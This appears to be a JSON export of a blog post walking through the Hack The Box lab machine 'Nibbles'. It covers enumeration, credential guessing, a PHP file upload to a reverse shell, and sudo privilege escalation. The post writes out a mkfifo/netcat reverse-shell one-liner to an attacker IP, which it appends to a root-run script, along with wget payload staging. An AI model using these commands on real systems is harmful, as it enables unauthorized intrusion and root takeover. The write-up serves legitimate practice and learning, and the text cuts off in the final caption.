{"id":104,"date":"2022-06-19T00:08:56","date_gmt":"2022-06-19T00:08:56","guid":{"rendered":"https:\/\/jasonlcurby.com\/blog\/?p=104"},"modified":"2022-12-19T23:33:14","modified_gmt":"2022-12-19T23:33:14","slug":"nibbles-machine-walkthrough-hack-the-box","status":"publish","type":"post","link":"https:\/\/jasonlcurby.com\/blog\/2022\/06\/19\/nibbles-machine-walkthrough-hack-the-box\/","title":{"rendered":"Nibbles Machine Walkthrough &#8211; Hack The Box"},"content":{"rendered":"\n<p>Nibbles is rated as an easy machine on HTB.<\/p>\n\n\n\n<p><strong>Enumeration<\/strong><\/p>\n\n\n\n<p>First we grab the <em>.ovpn<\/em> file for the VPN and connect to the network from our machine: <em>openvpn rofo.ovpn. <\/em>An initial nmap of the IP is next.<\/p>\n\n\n\n<p><span style=\"color: #00ff41;\">nmap -sV \u2013open -oA initial_scan 10.10.10.75<\/span><\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"823\" height=\"263\" src=\"https:\/\/jasonlcurby.com\/blog\/wp-content\/uploads\/2022\/06\/nibbles-walkthrough-1.jpg\" alt=\"\" class=\"wp-image-106\" srcset=\"https:\/\/jasonlcurby.com\/blog\/wp-content\/uploads\/2022\/06\/nibbles-walkthrough-1.jpg 823w, https:\/\/jasonlcurby.com\/blog\/wp-content\/uploads\/2022\/06\/nibbles-walkthrough-1-300x96.jpg 300w, https:\/\/jasonlcurby.com\/blog\/wp-content\/uploads\/2022\/06\/nibbles-walkthrough-1-768x245.jpg 768w\" sizes=\"auto, (max-width: 823px) 100vw, 823px\" \/><figcaption class=\"wp-element-caption\"><span style=\"color: #00ff41;\">Initial nmap scan of the machine reveals an open ssh and http port.<\/span><\/figcaption><\/figure>\n\n\n\n<p>The result shows us we have 2 open ports of interest: 22\/tcp ssh (OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0), and port 80\/tcp open http (Apache httpd 2.4.18 ((Ubuntu)). Looks like we&#8217;re dealing with a web server &#8211; plenty of potential attack vectors. We&#8217;ll get some further information on the two ports with some banner grabbing with <em>netcat<\/em>.<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"709\" height=\"173\" src=\"https:\/\/jasonlcurby.com\/blog\/wp-content\/uploads\/2022\/06\/nibbles-walkthrough-2.jpg\" alt=\"Netcat banner grabbing of open ports for further information.\" class=\"wp-image-137\" srcset=\"https:\/\/jasonlcurby.com\/blog\/wp-content\/uploads\/2022\/06\/nibbles-walkthrough-2.jpg 709w, https:\/\/jasonlcurby.com\/blog\/wp-content\/uploads\/2022\/06\/nibbles-walkthrough-2-300x73.jpg 300w\" sizes=\"auto, (max-width: 709px) 100vw, 709px\" \/><figcaption class=\"wp-element-caption\"><span style=\"color: #00ff41;\">Netcat banner grabbing of open ports for further information.<\/span><\/figcaption><\/figure>\n\n\n\n<p>Nothing extra of note exposed here. Next we run a more detailed nmap script scan (-sC) of the two discovered ports for any further information we can pull.<\/p>\n\n\n\n<p><span style=\"color: #00ff41;\">nmap -sC -p 22,80 -oA script_scan 10.10.10.75<\/span><\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"596\" height=\"282\" src=\"https:\/\/jasonlcurby.com\/blog\/wp-content\/uploads\/2022\/06\/nibbles-walkthrough-3.jpg\" alt=\"\" class=\"wp-image-108\" srcset=\"https:\/\/jasonlcurby.com\/blog\/wp-content\/uploads\/2022\/06\/nibbles-walkthrough-3.jpg 596w, https:\/\/jasonlcurby.com\/blog\/wp-content\/uploads\/2022\/06\/nibbles-walkthrough-3-300x142.jpg 300w\" sizes=\"auto, (max-width: 596px) 100vw, 596px\" \/><figcaption class=\"wp-element-caption\"><span style=\"color: #00ff41;\">Detailed script nmap scan of the two discovered ports on target machine.<\/span><\/figcaption><\/figure>\n\n\n\n<p>This gives us the<em> ssh-hostkey <\/em>but nothing extra, so we&#8217;ll run a <em>nmap<\/em> enumeration using the <em>http-enum<\/em> script:<\/p>\n\n\n\n<p><span style=\"color: #00ff41;\">nmap -sV &#8211;script=http-enum -oA http_enum_script 10.10.10.75<\/span><\/p>\n\n\n\n<p>This takes a very long time &#8211; so we&#8217;ll leave it running in a background terminal for now and move on. In the meantime we&#8217;ll start digging deeper into the web server. Running a <em>whatweb<\/em> command on the target to further identify the server confirms it&#8217;s an Apache HTTPServer running on Ubuntu Linux.<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"732\" height=\"99\" src=\"https:\/\/jasonlcurby.com\/blog\/wp-content\/uploads\/2022\/06\/nibbles-walkthrough-4.jpg\" alt=\"\" class=\"wp-image-109\" srcset=\"https:\/\/jasonlcurby.com\/blog\/wp-content\/uploads\/2022\/06\/nibbles-walkthrough-4.jpg 732w, https:\/\/jasonlcurby.com\/blog\/wp-content\/uploads\/2022\/06\/nibbles-walkthrough-4-300x41.jpg 300w\" sizes=\"auto, (max-width: 732px) 100vw, 732px\" \/><figcaption class=\"wp-element-caption\"><span style=\"color: #00ff41;\">Running a whatweb command on the target to identify web server platform.<\/span><\/figcaption><\/figure>\n\n\n\n<p>Next we&#8217;ll <em>gobuster <\/em>the target with the <em>common.txt<\/em> wordlist to enumerate web folders and status codes to see where we can start poking around in <em>curl<\/em> or a browser. To download the wordlist from their repository:<\/p>\n\n\n\n<p><span style=\"color: #00ff41;\">wget https:\/\/raw.githubusercontent.com\/danielmiessler\/SecLists\/master\/Discovery\/Web-Content\/common.txt<\/span><\/p>\n\n\n\n<p>Followed by our gobuster command to begin:<\/p>\n\n\n\n<p><span style=\"color: #00ff41;\">gobuster dir -u 10.10.10.75:80 -w common.txt<\/span><\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"572\" height=\"429\" src=\"https:\/\/jasonlcurby.com\/blog\/wp-content\/uploads\/2022\/06\/nibbles-walkthrough-5.jpg\" alt=\"\" class=\"wp-image-110\" srcset=\"https:\/\/jasonlcurby.com\/blog\/wp-content\/uploads\/2022\/06\/nibbles-walkthrough-5.jpg 572w, https:\/\/jasonlcurby.com\/blog\/wp-content\/uploads\/2022\/06\/nibbles-walkthrough-5-300x225.jpg 300w\" sizes=\"auto, (max-width: 572px) 100vw, 572px\" \/><figcaption class=\"wp-element-caption\"><span style=\"color: #00ff41;\">Gobuster the target site to grab all the potential web folders we can start investigating.<\/span><\/figcaption><\/figure>\n\n\n\n<p>First obvious step is to visit the servers homepage. A quick check of the network and source reveals an obvious next step, a <em>nibbleblog<\/em> reference in the <em>index.html<\/em> source code. <\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"490\" height=\"275\" src=\"https:\/\/jasonlcurby.com\/blog\/wp-content\/uploads\/2022\/06\/nibbles-walkthrough-6.jpg\" alt=\"\" class=\"wp-image-111\" srcset=\"https:\/\/jasonlcurby.com\/blog\/wp-content\/uploads\/2022\/06\/nibbles-walkthrough-6.jpg 490w, https:\/\/jasonlcurby.com\/blog\/wp-content\/uploads\/2022\/06\/nibbles-walkthrough-6-300x168.jpg 300w\" sizes=\"auto, (max-width: 490px) 100vw, 490px\" \/><figcaption class=\"wp-element-caption\"><span style=\"color: #00ff41;\">Source code of the index.html page on the target machine.<\/span><\/figcaption><\/figure>\n\n\n\n<p>No idea what Nibbleblog is so I&#8217;ll do some quick research as well as a <em>whatweb<\/em> of the <em>\/nibbleblog\/ <\/em>directory mentioned above. HTML5, JQuery, Powered by [Nibbleblog], with a site title. <\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"742\" height=\"165\" src=\"https:\/\/jasonlcurby.com\/blog\/wp-content\/uploads\/2022\/06\/nibbles-walkthrough-7.jpg\" alt=\"\" class=\"wp-image-112\" srcset=\"https:\/\/jasonlcurby.com\/blog\/wp-content\/uploads\/2022\/06\/nibbles-walkthrough-7.jpg 742w, https:\/\/jasonlcurby.com\/blog\/wp-content\/uploads\/2022\/06\/nibbles-walkthrough-7-300x67.jpg 300w\" sizes=\"auto, (max-width: 742px) 100vw, 742px\" \/><figcaption class=\"wp-element-caption\"><span style=\"color: #00ff41;\">Whatweb the \/nibbleblog folder for more information on what is hosted on the target.<\/span><\/figcaption><\/figure>\n\n\n\n<p>It&#8217;s a free blog system. Browsing the blog quickly yields nothing &#8211; no posts, empty categories, etc. That leads us to any potential exploit research, which leads us to Metasploit supported exploit <span style=\"color: #00ff41;\">CVE-2015-6967 &#8211; File Upload Vulnerability<\/span>. This allows an authenticated remote attacker to execute arbitrary PHP code &#8211; tested on version 4.0.3. So one of the file upload plugins or blog functionality lets us upload a little more than what&#8217;s intended.<\/p>\n\n\n\n<p>We&#8217;ll <em>gobuster<\/em> the Nibbleblog site next to get an overview of the structure of the site. Here I could also have looked to download and install a Nibbleblog on my own web server locally, to browse the locations of <em>config<\/em> files, important directories, etc. also.<\/p>\n\n\n\n<p><span style=\"color: #00ff41;\">gobuster dir -u 10.10.10.75:80 -w \/usr\/share\/dirb\/wordlists\/common.txt<\/span><\/p>\n\n\n\n<p>This returns a number of status 200 responses that I can browse \u2013 primarily an <em>admin.php<\/em> and a <em>README<\/em> file. Let&#8217;s check out the README file, which confirms this is likely v4.0.3 of Nibbleblog, the one with the Metasploit exploit above. We also get some information we can follow up down the road about PHP versioning, required PHP modules and permissions.<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"428\" height=\"447\" src=\"https:\/\/jasonlcurby.com\/blog\/wp-content\/uploads\/2022\/06\/nibbles-walkthrough-9.jpg\" alt=\"\" class=\"wp-image-114\" srcset=\"https:\/\/jasonlcurby.com\/blog\/wp-content\/uploads\/2022\/06\/nibbles-walkthrough-9.jpg 428w, https:\/\/jasonlcurby.com\/blog\/wp-content\/uploads\/2022\/06\/nibbles-walkthrough-9-287x300.jpg 287w\" sizes=\"auto, (max-width: 428px) 100vw, 428px\" \/><figcaption class=\"wp-element-caption\"><span style=\"color: #00ff41;\">A curl of the README file located within the Nibbleblog.<\/span><\/figcaption><\/figure>\n\n\n\n<p>Start browsing the entirety of the Nibbleblog platform now. We&#8217;ll go to <em>admin.php<\/em>, <em>functions.js<\/em> \u2013 there&#8217;s nothing in source, nothing in network or cookies when I try to login. A few generic username and password combinations don&#8217;t work, and I find no information on any default credentials. Attempting to reset the password of an email gives an error message, so perhaps some broken functionality there can provide another avenue. After too many attempts to login I get blacklisted \u2013 so cannot brute force the web server. Will have to go by a timer or find a way to access a hash or workaround.<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"585\" height=\"252\" src=\"https:\/\/jasonlcurby.com\/blog\/wp-content\/uploads\/2022\/06\/nibbles-walkthrough-11.jpg\" alt=\"\" class=\"wp-image-116\" srcset=\"https:\/\/jasonlcurby.com\/blog\/wp-content\/uploads\/2022\/06\/nibbles-walkthrough-11.jpg 585w, https:\/\/jasonlcurby.com\/blog\/wp-content\/uploads\/2022\/06\/nibbles-walkthrough-11-300x129.jpg 300w\" sizes=\"auto, (max-width: 585px) 100vw, 585px\" \/><figcaption class=\"wp-element-caption\"><span style=\"color: #00ff41;\">Nibbleblog error when trying to request a new password reset.<\/span><\/figcaption><\/figure>\n\n\n\n<p>We check out all the redirect folders for Nibbleblog \u2013 part of the installation: <em>\/admin\/<\/em>, <em>\/content\/<\/em>, <em>\/languages\/<\/em>, <em>\/plugins\/<\/em>, <em>\/themes\/<\/em>. Absolutely all of these have directory listing enabled so there&#8217;s a lot to potentially explore and take advantage of. There has to be something here showing credentials, particularly in admin. The users file under <em>\/content<\/em> shows us the \u2018admin\u2019 user \u2013 no password found. We check <em>keys.php<\/em> and <em>shadow.php<\/em> under content but not getting anything..<\/p>\n\n\n\n<p>There are a lot of user controller <em>.bit<\/em> files in admin \u2013 nothing however with a potential password or anything obviously valuable. Controllers under the <em>\/admin<\/em> folder contains a lot of pointers to the <em>shadow.php<\/em> file for user authentication and control. We try <em>admin\/kernel\/db\/db_users.class.php<\/em> &#8211; no response.<\/p>\n\n\n\n<p>In the plugin <em>my_image<\/em> there is a <em>db.xml<\/em> and <em>image.php<\/em>. A .<em>php <\/em>extension for an image is odd, unless it\u2019s a controller. I have my eye out for anything upload related due to the Metasploit detailed previously &#8211; which I&#8217;m yet to follow up on until I&#8217;ve finished enumeration.<\/p>\n\n\n\n<p><strong>Gaining Access &amp; Server Foothold<\/strong><\/p>\n\n\n\n<p>I&#8217;m next going to attempt to brute login between spam password attempt blacklists. The machine has reset since my last session so I have a new IP, however if this did not happen I&#8217;d use a proxy or VPN to attempt logins to the site from different IP&#8217;s. I create a short wordlist based on the site, company, domain, theme names, platform, etc. so I have words like &#8216;<em>blog&#8217;, &#8216;shadow&#8217;, &#8216;nibbles&#8217;, &#8216;controller&#8217;<\/em>, etc. &#8216;<em>nibbles<\/em>&#8216; gets us in with the final credentials of <em>admin:nibbles<\/em>. This has us in the administrator dashboard.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"522\" src=\"https:\/\/jasonlcurby.com\/blog\/wp-content\/uploads\/2022\/06\/nibbles-walkthrough-12-1024x522.jpg\" alt=\"\" class=\"wp-image-117\" srcset=\"https:\/\/jasonlcurby.com\/blog\/wp-content\/uploads\/2022\/06\/nibbles-walkthrough-12-1024x522.jpg 1024w, https:\/\/jasonlcurby.com\/blog\/wp-content\/uploads\/2022\/06\/nibbles-walkthrough-12-300x153.jpg 300w, https:\/\/jasonlcurby.com\/blog\/wp-content\/uploads\/2022\/06\/nibbles-walkthrough-12-768x391.jpg 768w, https:\/\/jasonlcurby.com\/blog\/wp-content\/uploads\/2022\/06\/nibbles-walkthrough-12.jpg 1185w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><figcaption class=\"wp-element-caption\"><span style=\"color: #00ff41;\">The administrator dashboard once credentials have been guessed from login.<\/span><\/figcaption><\/figure>\n\n\n\n<p>We have the authentication credentials &#8211; which means if necessary we can use the original Metasploit exploit found for this version of Nibblesblog &#8211; <span style=\"color: #00ff41;\">CVE-2015-6967<\/span>. For now, we&#8217;ll start poking around the areas we&#8217;ll have access to as administrator; and since we&#8217;re running on PHP, we&#8217;ll see if we can inject PHP code anywhere with a quick <em>.php<\/em> file\/code.<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"782\" height=\"142\" src=\"https:\/\/jasonlcurby.com\/blog\/wp-content\/uploads\/2022\/06\/nibbles-walkthrough-13.jpg\" alt=\"\" class=\"wp-image-118\" srcset=\"https:\/\/jasonlcurby.com\/blog\/wp-content\/uploads\/2022\/06\/nibbles-walkthrough-13.jpg 782w, https:\/\/jasonlcurby.com\/blog\/wp-content\/uploads\/2022\/06\/nibbles-walkthrough-13-300x54.jpg 300w, https:\/\/jasonlcurby.com\/blog\/wp-content\/uploads\/2022\/06\/nibbles-walkthrough-13-768x139.jpg 768w\" sizes=\"auto, (max-width: 782px) 100vw, 782px\" \/><figcaption class=\"wp-element-caption\"><span style=\"color: #00ff41;\">Short .php file that will let us know if an injection works and target user id.<\/span><\/figcaption><\/figure>\n\n\n\n<p>The code is also pasted in a new blog post to check if it runs as PHP in the pages or it&#8217;s parsed to a string. We make sure we have code editor selected rather than any visual editor. We can see in the &#8216;source code&#8217; view and blog post itself that the platform prevents PHP from being run directly. Checking out the settings &#8211; turning on &#8216;Advanced options for post&#8217; to see if that makes any difference &#8211; none. There&#8217;s nothing else that stands out in the settings, but the platform version is confirmed a second time as at the bottom of the settings shows: &#8216;Nibbleblog 4.0.3. &#8220;Coffee&#8221;.<\/p>\n\n\n\n<p>After exploring the plugins we know that there is one for uploading\/setting an image. This brings back to mind the Metasploit identified as a file upload functionality. The ability to upload files to the server is a strong avenue of attack if the files aren&#8217;t checked properly, ie. an image upload method that doesn&#8217;t check if the files uploaded are <em>actually <\/em>images. Because we have access to many of the sites folders with misconfigured directory listing, we can also likely find where the files we upload are stored.<\/p>\n\n\n\n<p>Within the image plugin, we try to upload our <em>rofotest<\/em>.<em>php<\/em> file to test the strategy, keeping the title and caption of the image as default (keeping in mind we&#8217;ll try the code here down the road also if necessary). If we can get a .<em>php <\/em>file on the site we can start running our custom PHP code directly on the server, and from there we can try pull more information or run a shell. <\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"309\" src=\"https:\/\/jasonlcurby.com\/blog\/wp-content\/uploads\/2022\/06\/nibbles-walkthrough-14-1024x309.jpg\" alt=\"\" class=\"wp-image-119\" srcset=\"https:\/\/jasonlcurby.com\/blog\/wp-content\/uploads\/2022\/06\/nibbles-walkthrough-14-1024x309.jpg 1024w, https:\/\/jasonlcurby.com\/blog\/wp-content\/uploads\/2022\/06\/nibbles-walkthrough-14-300x91.jpg 300w, https:\/\/jasonlcurby.com\/blog\/wp-content\/uploads\/2022\/06\/nibbles-walkthrough-14-768x232.jpg 768w, https:\/\/jasonlcurby.com\/blog\/wp-content\/uploads\/2022\/06\/nibbles-walkthrough-14.jpg 1265w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><figcaption class=\"wp-element-caption\"><span style=\"color: #00ff41;\">Trying to upload a .php file to the Nibbleblog target.<\/span><\/figcaption><\/figure>\n\n\n\n<p>The upload seems to go through but there&#8217;s a lot of error output &#8211; let&#8217;s check the server directories again anyway and see if our file is there. <\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"870\" height=\"132\" src=\"https:\/\/jasonlcurby.com\/blog\/wp-content\/uploads\/2022\/06\/nibbles-walkthrough-15.jpg\" alt=\"\" class=\"wp-image-120\" srcset=\"https:\/\/jasonlcurby.com\/blog\/wp-content\/uploads\/2022\/06\/nibbles-walkthrough-15.jpg 870w, https:\/\/jasonlcurby.com\/blog\/wp-content\/uploads\/2022\/06\/nibbles-walkthrough-15-300x46.jpg 300w, https:\/\/jasonlcurby.com\/blog\/wp-content\/uploads\/2022\/06\/nibbles-walkthrough-15-768x117.jpg 768w\" sizes=\"auto, (max-width: 870px) 100vw, 870px\" \/><figcaption class=\"wp-element-caption\"><span style=\"color: #00ff41;\">The output on our target from our freshly uploaded .php file.<\/span><\/figcaption><\/figure>\n\n\n\n<p>There is no new image file, but opening the <em>image.php<\/em> file in the image plugin directory now shows us our PHP code that we recently uploaded. It tells us that the current user of the system is <em>nibbler<\/em>. So the <em>image.php<\/em> file is simply the result of whatever we upload in the image plugin. The next step is to repeat the process and try to establish a reverse shell back to my machine from the server.<\/p>\n\n\n\n<p><strong>Shell Access<\/strong><\/p>\n\n\n\n<p>Preparing for a shell command, we prepare a remote shell listener on our local machine..<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"251\" height=\"83\" src=\"https:\/\/jasonlcurby.com\/blog\/wp-content\/uploads\/2022\/06\/nibbles-walkthrough-16.jpg\" alt=\"\" class=\"wp-image-121\"\/><figcaption class=\"wp-element-caption\"><span style=\"color: #00ff41;\">Netcat command for starting a reverse shell listener on our machine at port 1234.<\/span><\/figcaption><\/figure>\n\n\n\n<p> ..and pull a reverse shell PHP code snippet from somewhere like <em>GTFOBins <\/em>or <em>PayloadAllTheThings<\/em>, updating our .<em>php <\/em>file to execute the shell command when the page is reloaded.<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"764\" height=\"159\" src=\"https:\/\/jasonlcurby.com\/blog\/wp-content\/uploads\/2022\/06\/nibbles-walkthrough-17.jpg\" alt=\"\" class=\"wp-image-122\" srcset=\"https:\/\/jasonlcurby.com\/blog\/wp-content\/uploads\/2022\/06\/nibbles-walkthrough-17.jpg 764w, https:\/\/jasonlcurby.com\/blog\/wp-content\/uploads\/2022\/06\/nibbles-walkthrough-17-300x62.jpg 300w\" sizes=\"auto, (max-width: 764px) 100vw, 764px\" \/><figcaption class=\"wp-element-caption\"><span style=\"color: #00ff41;\">Updating our .php code to execute a remote shell to our machine when page is reloaded.<\/span><\/figcaption><\/figure>\n\n\n\n<p>We reload the <em>image.php <\/em>file on the server once the above has been re-uploaded, and it works. Our local listener picks up on the connection attempt, and we now have a reverse shell established. <\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"664\" height=\"163\" src=\"https:\/\/jasonlcurby.com\/blog\/wp-content\/uploads\/2022\/06\/nibbles-walkthrough-18.jpg\" alt=\"\" class=\"wp-image-123\" srcset=\"https:\/\/jasonlcurby.com\/blog\/wp-content\/uploads\/2022\/06\/nibbles-walkthrough-18.jpg 664w, https:\/\/jasonlcurby.com\/blog\/wp-content\/uploads\/2022\/06\/nibbles-walkthrough-18-300x74.jpg 300w\" sizes=\"auto, (max-width: 664px) 100vw, 664px\" \/><figcaption class=\"wp-element-caption\"><span style=\"color: #00ff41;\">Local listener for a reverse shell from target machine receives the attempted connection and success.<\/span><\/figcaption><\/figure>\n\n\n\n<p>We have a reverse shell established \u2013 so what are our next steps? First we\u2019ll try and upgrade the reverse shell to an interactive TTY to make things smoother. Python doesn\u2019t work, but a <em>which python <\/em>command tells us that python3 is on the machine, so we try the following command. We now have an upgraded shell.<\/p>\n\n\n\n<p><span style=\"color: #00ff41;\">python3 -c &#8216;import pty; pty.spawn(&#8220;\/bin\/bash&#8221;)&#8217;<\/span><\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"761\" height=\"395\" src=\"https:\/\/jasonlcurby.com\/blog\/wp-content\/uploads\/2022\/06\/nibbles-walkthrough-19.jpg\" alt=\"\" class=\"wp-image-124\" srcset=\"https:\/\/jasonlcurby.com\/blog\/wp-content\/uploads\/2022\/06\/nibbles-walkthrough-19.jpg 761w, https:\/\/jasonlcurby.com\/blog\/wp-content\/uploads\/2022\/06\/nibbles-walkthrough-19-300x156.jpg 300w\" sizes=\"auto, (max-width: 761px) 100vw, 761px\" \/><figcaption class=\"wp-element-caption\"><span style=\"color: #00ff41;\">Reverse shell access, TTY, initial ls.<\/span><\/figcaption><\/figure>\n\n\n\n<p>A whoami command confirms we are the user <em>nibbler<\/em>. Our nibbler user gives us the <em>user.txt <\/em>solution flag with a simple <em>vim<\/em>. We poke around the <em>\/home<\/em> folder, the <em>\/etc<\/em> folder, start getting an overview of every folder we have access to and look for anything of value. There&#8217;s a <em>personal.zip<\/em> file in the user directory that we&#8217;re going to want to check out. Unzipping it gives us only a single file two directories down <em>\/personal\/stuff\/monitor.sh <\/em>which we view for anything of value.<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"882\" height=\"462\" src=\"https:\/\/jasonlcurby.com\/blog\/wp-content\/uploads\/2022\/06\/nibbles-walkthrough-20.jpg\" alt=\"\" class=\"wp-image-125\" srcset=\"https:\/\/jasonlcurby.com\/blog\/wp-content\/uploads\/2022\/06\/nibbles-walkthrough-20.jpg 882w, https:\/\/jasonlcurby.com\/blog\/wp-content\/uploads\/2022\/06\/nibbles-walkthrough-20-300x157.jpg 300w, https:\/\/jasonlcurby.com\/blog\/wp-content\/uploads\/2022\/06\/nibbles-walkthrough-20-768x402.jpg 768w\" sizes=\"auto, (max-width: 882px) 100vw, 882px\" \/><figcaption class=\"wp-element-caption\"><span style=\"color: #00ff41;\">The monitor.sh file unzipped.<\/span><\/figcaption><\/figure>\n\n\n\n<p>A <em>sudo -l<\/em> shows us that nibbler can run this monitor.sh script as root with NOPASSWD \u2013 so it&#8217;s likely this is an in with privilege escalation to the <em>root<\/em> user. The <em>#! \/bin\/bash<\/em> comment tells us it uses bash \u2013 this must be it &#8211; we can run bash scripts here with root privileges.<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"880\" height=\"166\" src=\"https:\/\/jasonlcurby.com\/blog\/wp-content\/uploads\/2022\/06\/nibbles-walkthrough-21.jpg\" alt=\"\" class=\"wp-image-126\" srcset=\"https:\/\/jasonlcurby.com\/blog\/wp-content\/uploads\/2022\/06\/nibbles-walkthrough-21.jpg 880w, https:\/\/jasonlcurby.com\/blog\/wp-content\/uploads\/2022\/06\/nibbles-walkthrough-21-300x57.jpg 300w, https:\/\/jasonlcurby.com\/blog\/wp-content\/uploads\/2022\/06\/nibbles-walkthrough-21-768x145.jpg 768w\" sizes=\"auto, (max-width: 880px) 100vw, 880px\" \/><figcaption class=\"wp-element-caption\"><span style=\"color: #00ff41;\">sudo -l of the target as nibbler gives us a potential means of privilege escalation.<\/span><\/figcaption><\/figure>\n\n\n\n<p><strong>Privilege Escalation<\/strong><\/p>\n\n\n\n<p>To expand on what we&#8217;ve found so far we&#8217;ll try to pull and run two common Linux enumeration scripts <em>LinEnum<\/em> and <em>linuxprivchecker<\/em>. We need to get these scripts on the target machine, so we\u2019ll http them in with a temporary HTTP server we establish on our machine:<\/p>\n\n\n\n<p><span style=\"color: #00ff41;\">sudo python -m http.server 8080<\/span><\/p>\n\n\n\n<p>From this <em>http.server<\/em> we can <em>wget <\/em>from our target machine the files we need. First I had to download <em>LinEnum.sh<\/em>, then we get it from the target machine to our local HTTP server (10.10.14.3:8080) with <em>wget http:\/\/10.10.14.3:8080\/LinEnum.sh<\/em>. <em>chmod +x LinEnum.sh<\/em> once received to make it executable on our target machine, then <em>.\/LinEnum.sh<\/em> to begin the scan. See below:<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"643\" height=\"769\" src=\"https:\/\/jasonlcurby.com\/blog\/wp-content\/uploads\/2022\/06\/nibbles-walkthrough-22.jpg\" alt=\"\" class=\"wp-image-127\" srcset=\"https:\/\/jasonlcurby.com\/blog\/wp-content\/uploads\/2022\/06\/nibbles-walkthrough-22.jpg 643w, https:\/\/jasonlcurby.com\/blog\/wp-content\/uploads\/2022\/06\/nibbles-walkthrough-22-251x300.jpg 251w\" sizes=\"auto, (max-width: 643px) 100vw, 643px\" \/><figcaption class=\"wp-element-caption\"><span style=\"color: #00ff41;\">Setting up a local http server and wget the LinEnum.sh script to scan our target.<\/span><\/figcaption><\/figure>\n\n\n\n<p>The <em>LinEnum.sh<\/em> scan confirms what we learnt with <em>sudo -l<\/em> earlier \u2013 we can run the <em>monitor.sh<\/em> file from the unzipped folder location as <em>nibbler <\/em>with <em>root <\/em>privileges. If we can run a shell from this file with privileged access as sudo with no password, we can create a new shell as root with full privileges rather than as the user nibbler.<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"720\" height=\"254\" src=\"https:\/\/jasonlcurby.com\/blog\/wp-content\/uploads\/2022\/06\/nibbles-walkthrough-23.jpg\" alt=\"\" class=\"wp-image-128\" srcset=\"https:\/\/jasonlcurby.com\/blog\/wp-content\/uploads\/2022\/06\/nibbles-walkthrough-23.jpg 720w, https:\/\/jasonlcurby.com\/blog\/wp-content\/uploads\/2022\/06\/nibbles-walkthrough-23-300x106.jpg 300w\" sizes=\"auto, (max-width: 720px) 100vw, 720px\" \/><figcaption class=\"wp-element-caption\"><span style=\"color: #00ff41;\">Results of the LinEnum.sh scan on target machine confirms root privilege as nibbler.<\/span><\/figcaption><\/figure>\n\n\n\n<p>So, the next step is to append a second shell to the <em>monitor.sh<\/em> file which we are running with root privileges thanks to the NOPASSWD requirement. The smoothest way to append a shell command to a file without messing around in an unreliable vim or basic shell is to use the command. It did take a couple of tries with a few other commands as the environment wasn&#8217;t acting too kindly to me at this point, but eventually we amended the file without breaking anything.<\/p>\n\n\n\n<p><span style=\"color: #00ff41;\">echo &#8216;rm \/tmp\/f;mkfifo \/tmp\/f;cat \/tmp\/f|\/bin\/sh -i 2&gt;&amp;1|nc 10.10.14.3 1234 &gt;\/tmp\/f&#8217; &gt;&gt; monitor.sh<\/span><\/p>\n\n\n\n<p>This attaches a line to the monitor.sh file running a bash command for a new reverse shell to our new reverse shell listener on port 1234 (or a different port if there&#8217;s an issue with first listener) with presumably root privileges. <\/p>\n\n\n\n<p>Make sure you&#8217;re in the directory containing the file <em>\/home\/nibbler\/personal\/stuff<\/em>.  We can check this is appended with <em>cat monitor.sh <\/em>and see the extra command attached. Running this <em>monitor.sh<\/em> as root with no password requirement will connect the reverse shell as root &#8211; giving us access without requiring a password.<\/p>\n\n\n\n<p><span style=\"color: #00ff41;\">sudo \/home\/nibbler\/personal\/stuff\/monitor.sh.<\/span><\/p>\n\n\n\n<p>If you mess up, you can remove the last line from a file with the command: <\/p>\n\n\n\n<p><span style=\"color: #00ff41;\">sed -i &#8216;$ d&#8217; monitor.sh<\/span><\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"633\" height=\"441\" src=\"https:\/\/jasonlcurby.com\/blog\/wp-content\/uploads\/2022\/06\/nibbles-walkthrough-24.jpg\" alt=\"\" class=\"wp-image-105\" srcset=\"https:\/\/jasonlcurby.com\/blog\/wp-content\/uploads\/2022\/06\/nibbles-walkthrough-24.jpg 633w, https:\/\/jasonlcurby.com\/blog\/wp-content\/uploads\/2022\/06\/nibbles-walkthrough-24-300x209.jpg 300w\" sizes=\"auto, (max-width: 633px) 100vw, 633px\" \/><figcaption class=\"wp-element-caption\"><span style=\"color: #00ff41;\">Running sudo monitor.sh with escalated root access to create a second reverse shell to our 